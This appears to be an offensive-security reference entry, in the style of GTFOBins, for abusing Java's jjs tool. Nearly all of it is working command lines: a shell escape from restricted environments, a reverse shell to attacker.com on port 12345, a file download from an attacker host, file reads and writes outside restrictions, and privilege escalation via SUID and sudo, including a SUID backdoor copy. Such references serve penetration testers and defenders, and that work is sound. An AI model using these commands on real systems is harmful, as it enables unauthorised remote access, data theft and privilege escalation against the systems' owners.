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This tool is installed starting with Java SE 8.

Shell

It can be used to break out from restricted environments by spawning an interactive system shell.

echo "Java.type('java.lang.Runtime').getRuntime().exec('/bin/sh -c \$@|sh _ echo sh <$(tty) >$(tty) 2>$(tty)').waitFor()" | jjs

Reverse shell

It can send back a reverse shell to a listening attacker to open a remote network access.

Run nc -l -p 12345 on the attacker box to receive the shell.

export RHOST=attacker.com
export RPORT=12345
echo 'var host=Java.type("java.lang.System").getenv("RHOST");
var port=Java.type("java.lang.System").getenv("RPORT");
var ProcessBuilder = Java.type("java.lang.ProcessBuilder");
var p=new ProcessBuilder("/bin/bash", "-i").redirectErrorStream(true).start();
var Socket = Java.type("java.net.Socket");
var s=new Socket(host,port);
var pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
var po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){ while(pi.available()>0)so.write(pi.read()); while(pe.available()>0)so.write(pe.read()); while(si.available()>0)po.write(si.read()); so.flush();po.flush(); Java.type("java.lang.Thread").sleep(50); try {p.exitValue();break;}catch (e){}};p.destroy();s.close();' | jjs

File download

It can download remote files.

Fetch a remote file via HTTP GET request.

export URL=http://attacker.com/file_to_get
export LFILE=file_to_save
echo "var URL = Java.type('java.net.URL');
var ws = new URL('$URL');
var Channels = Java.type('java.nio.channels.Channels');
var rbc = Channels.newChannel(ws.openStream());
var FileOutputStream = Java.type('java.io.FileOutputStream');
var fos = new FileOutputStream('$LFILE');
fos.getChannel().transferFrom(rbc, 0, Number.MAX_VALUE);
fos.close();
rbc.close();" | jjs

File write

It writes data to files, it may be used to do privileged writes or write files outside a restricted file system.

echo 'var FileWriter = Java.type("java.io.FileWriter");
var fw=new FileWriter("./file_to_write");
fw.write("DATA");
fw.close();' | jjs

File read

It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.

echo 'var BufferedReader = Java.type("java.io.BufferedReader");
var FileReader = Java.type("java.io.FileReader");
var br = new BufferedReader(new FileReader("file_to_read"));
while ((line = br.readLine()) != null) { print(line); }' | jjs

SUID

It runs with the SUID bit set and may be exploited to access the file system, escalate or maintain access with elevated privileges working as a SUID backdoor. If it is used to run sh -p, omit the -p argument on systems like Debian that allow the default sh shell to run with SUID privileges.

This has been found working in macOS but failing on Linux systems.

sudo sh -c 'cp $(which jjs) .; chmod +s ./jjs'

echo "Java.type('java.lang.Runtime').getRuntime().exec('/bin/sh -pc \$@|sh\${IFS}-p _ echo sh -p <$(tty) >$(tty) 2>$(tty)').waitFor()" | ./jjs

Sudo

It runs in privileged context and may be used to access the file system, escalate or maintain access with elevated privileges if enabled on sudo.

echo "Java.type('java.lang.Runtime').getRuntime().exec('/bin/sh -c \$@|sh _ echo sh <$(tty) >$(tty) 2>$(tty)').waitFor()" | sudo jjs

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